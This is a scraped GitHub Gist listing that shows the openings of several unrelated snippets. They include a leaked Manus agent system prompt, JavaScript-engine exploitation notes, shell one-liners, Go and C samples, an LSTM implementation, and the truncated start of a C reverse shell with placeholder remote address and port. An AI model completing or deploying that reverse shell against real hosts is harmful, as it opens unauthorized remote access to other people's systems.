Skip to content

Instantly share code, notes, and snippets.

@jlia0
jlia0 / agent loop
Last active April 30, 2025 10:54
Manus tools and prompts
You are Manus, an AI agent created by the Manus team.
You excel at the following tasks:
1. Information gathering, fact-checking, and documentation
2. Data processing, analysis, and visualization
3. Writing multi-chapter articles and in-depth research reports
4. Creating websites, applications, and tools
5. Using programming to solve various problems beyond development
6. Various tasks that can be accomplished using computers and the internet
@saelo
saelo / 3_years_of_attacking_javascript_engines.txt
Created October 27, 2019 16:04
3 Years of Attacking JavaScript Engines
|=-----------------------------------------------------------------------=|
|=-------------=[ 3 Years of Attacking JavaScript Engines ]=-------------=|
|=-----------------------------------------------------------------------=|
|=------------------------------=[ saelo ]=------------------------------=|
|=-----------------------------------------------------------------------=|
The following are some brief notes about the changes that have taken place
since the release of the "Attacking JavaScript Engines" paper [1]. In
general, no big conceptional changes have happened since. Mitigations have
been added to break some of the presented techniques and, as expected, a
@mrlesmithjr
mrlesmithjr / dig2JSON
Last active November 15, 2024 12:05
dig results to parsable json
foo=$(dig google.com +nocomments +noquestion +noauthority +noadditional +nostats | awk '{if (NR>3){print}}'| jq -R 'split("\t") |{Name:.[0],TTL:.[2],Class:.[3],Type:.[4],IpAddress:.[5]}' | jq --slurp .) | jq -n --argjson v $foo '{"foo": $v}'
@bbengfort
bbengfort / noplog.go
Created March 20, 2017 20:42
No-op logger to turn off logging in Go without too much of a performance hit.
package noplog
import "log"
var noplog = &NopLogger{
log.New(NullWriter(1), "", log.LstdFlags),
}
// NullWriter implements the io.Write interface but doesn't do anything.
type NullWriter int
@P1kachu
P1kachu / calling_printf_osx.c
Created November 24, 2016 20:30
Calling printf in OSX - The overkill way
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach-o/dyld.h>
#include <mach-o/nlist.h>
#include <mach-o/dyld_images.h>
#include <mach/mach_vm.h>
/* Dyld is the OSX Dynamic Linker
* /usr/include//mach-o/loader.h
#!/bin/bash
objdump -d "${1}" | grep -Eo '\$0x[0-9a-f]+' | cut -c 2- | sort -u | while read const; do echo $const | python -c 'import sys, struct; sys.stdout.write("".join(struct.pack("<I" if len(l) <= 11 else "<Q", int(l,0)) for l in sys.stdin.readlines()))' > testcases/$const; done
i=0; strings "${1}"| while read line; do echo -n "$line" > testcases/string_${i} ; i=$[ $i + 1 ] ; done
@tailriver
tailriver / dlopen_sample.c
Created November 18, 2015 04:21
A sample of using dlopen library.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>
int main(int argc, char** argv)
{
void *handle;
void (*func_print_name)(const char*);
@karpathy
karpathy / gist:587454dc0146a6ae21fc
Last active December 20, 2024 04:32
An efficient, batched LSTM.
"""
This is a batched LSTM forward and backward pass
"""
import numpy as np
import code
class LSTM:
@staticmethod
def init(input_size, hidden_size, fancy_forget_bias_init = 3):
@talwai
talwai / servefile.sh
Created January 23, 2015 19:57
One-shot HTTP webserver to serve file contents using netcat
{ echo -ne "HTTP/1.0 200 OK\r\nContent-Length: $(wc -c <some.file)\r\n\r\n"; cat some.file; } | nc -l 8080
@0xabe-io
0xabe-io / reverse_shell.c
Created January 6, 2015 15:24
Simple C code to create a reverse shell
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "XXX.XXX.XXX.XXX"
#define REMOTE_PORT XXX